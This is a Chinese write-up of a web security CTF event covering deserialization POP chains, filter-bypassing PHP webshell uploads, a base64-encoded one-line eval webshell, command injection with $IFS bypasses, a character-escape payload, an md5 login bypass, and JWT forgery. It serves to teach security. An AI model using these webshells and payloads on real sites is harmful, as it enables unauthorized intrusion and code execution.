Cookie_Factory
扫扫目录
在app.js文件中发现了一个有意思的东西
LovePopChain
打开环境发现给了一串php源码,拷贝到本地进行分析。
发现@unserialize,又找到__wakeup(),尝试构造序列化。
分析其链,@unserialize优先触发__wakeup(),而入口是__clone()中的eval()
执行__clone()需要Myobject对象中的__invoke(),
__invoke() // 当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。
发现hybcx对象中的__toString()魔术方法中的$this->Si最有可能。而MyObject中的Nolove="Do_You_Want_Fl4g?"可以触发该方法。
分析完开始尝试构造序列化。
$a=new MyObject();
$b=new hybcx();
$b ->Si = $a;
$a ->NoLove = $b;
echo serialize($a);
$a = new MyObject();
$b = new hybcx();
$b->Si=$a;
$a->NoLove = $b;
echo serialize($a);
大概就是这样。运行后得到
O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";r:1;}s:6:"Forgzy";N;}
参数中的.会被过滤掉,只要将_换成[后,[会被转义成_,而后面的就会被忽略
Post传入参数
发现了flag
RedFlag
这里建议去看BUUCTF SSTI模板注入 - 高人于斯 - 博客园这里的文章,有原题
babyupload
进行目录扫描
获得上传路径
尝试上传图片马,提示马没了,多次尝试,发现对eval,system,passthru,assert进行了过滤,尝试进行构造绕过
??_x0010_JFIF
<?=$a='sys';$b='tem';$funcName=$a.$b;$x='funcName';$$x($_REQUEST[1]);?>获得路径
尝试上传.htacces,发现禁止上传,尝试绕过,使用111.htacces.jpg上传,抓包,修改后成功
尝试访问
尝试使用base64输入
echo "PD89ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg=="|base64 -d>222.php(一句话木马)
flag藏在环境变量中,打开终端输入env,获得flag
我写的网站被rce了?
每个按钮测试一次,发现更新软件,备份日志,查看日志,查看进程功能开发完成,其他都显示功能正在开发
对其挨个抓包查看,测试
更新软件:日志备份,参数测试响应大小相同
测试日志查看时,响应长度发生不同,查看,发现报错信息,尝试在此处进行rce
此时尝试参数1,发现数字被过滤,显示hacker,尝试xxx,发现报错,但是ls和.log拼接了,所以ls后也||隔开
成功ls
尝试判断过滤字符
空格过滤,使用$IFS绕过
Cat过滤,加’数字’过滤,换成字母正常
Flag过滤,``继续绕过,/目录下发现flag
find-the-id
输入1,用yakit进行抓包,对参数进行fuzz,发现有一个响应大小与其他不同,查看,发现flag
tflock
扫目录
发现robots.txt
获得密码本,然后从ctferpass里登录进去获得了一个登录后的路径
然后就是抓包测试,但是鉴于之前先输入username,再输入password会爆锁
所以就先爆破密码,交换其位置,开始爆破
成功出现flag
ps:如果不行的话,就把login.php变为login.php/admin.php
纯净环境下进行爆破,如果账户已经锁定,爆破的时候还是锁定的!!!!!!!(注意)
刮刮乐
进去啥都没有,检查提示传参cmd
传入参数cmd后,发现在页面最下方提示我不是百度自己人
但是页面看着太不舒服了,果断禁用js
添加referer和xff后,居然没有页面提示了
直接尝试
Why_so_serials?
给了一串php代码,拷下来看看
发现反序列化
发现字符替换
考虑反序列化字符逃逸
分析代码发现,触发flag显示需要crime的值为真,将代码中crime的值改为true,执行反序列化操作,得到要逃逸的字符串
“;s:5:"crime";b:1;} 共记19个字符,
然后joker替换batman后会溢出一个字符,也就是说最后构造的时候需要19个joker
查看GET传参Bruce,发现没有对此做要求,随便传一个值,最后payload
?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}
获得flag
eazyl0gin
给了个登录框提示
下载附件,查看js文件
先去解密下密码
然后就对账号进行研究,因为提到了UpperCase(),去看看这是什么东西
看见是Nodejs,点进去看看
尝试使用buıldctf/012346登陆,发现flag
ez_md5
看见这个输入框,直接尝试了万能密码ffifdyop,直接就成功了
一开始只看见了下面这个,传了两个相等md5的数字进去,但是居然还显示不可以
后来突然看见这个Request,想到request会和cookie有关,尝试修改cookie的值为1
果然这里就绕过了
这里的post传参,之间拿到网站去解密了
传入这个,居然还让我再想想,明明都传完了啊啊啊!!!
看见_了,这不就又是那个可恶的看见.自动换成_吗,直接[绕过。
哈哈哈获得flag
等我写wp的时候发现了
ez_waf
上传文件,发现过滤很严格
但是允许上传php文件
进行fuzz,看过滤哪些关键词
发现<> eval system,字符加等号等都被过滤,看来进行绕过是基本不可能了
考虑扔一堆垃圾数据进行溢出
获得flag
sub
先查看源码,发现和jwt有关,给了密钥
一些关键信息
这里要求用户是admin
首先注册用户admin,然后根据login的关键信息进行jwt 伪造
这里一开始时间戳我复制了当前时间的时间戳,在查看页面的时候爆了Token has expired
回去查看源码发现要30分钟后,直接伪造了个久远的时间
抓包page页面,把Cookie伪造
成功访问
进行利用
隔断
版权归原作者 safenan 所有, 如有侵权,请联系我们删除。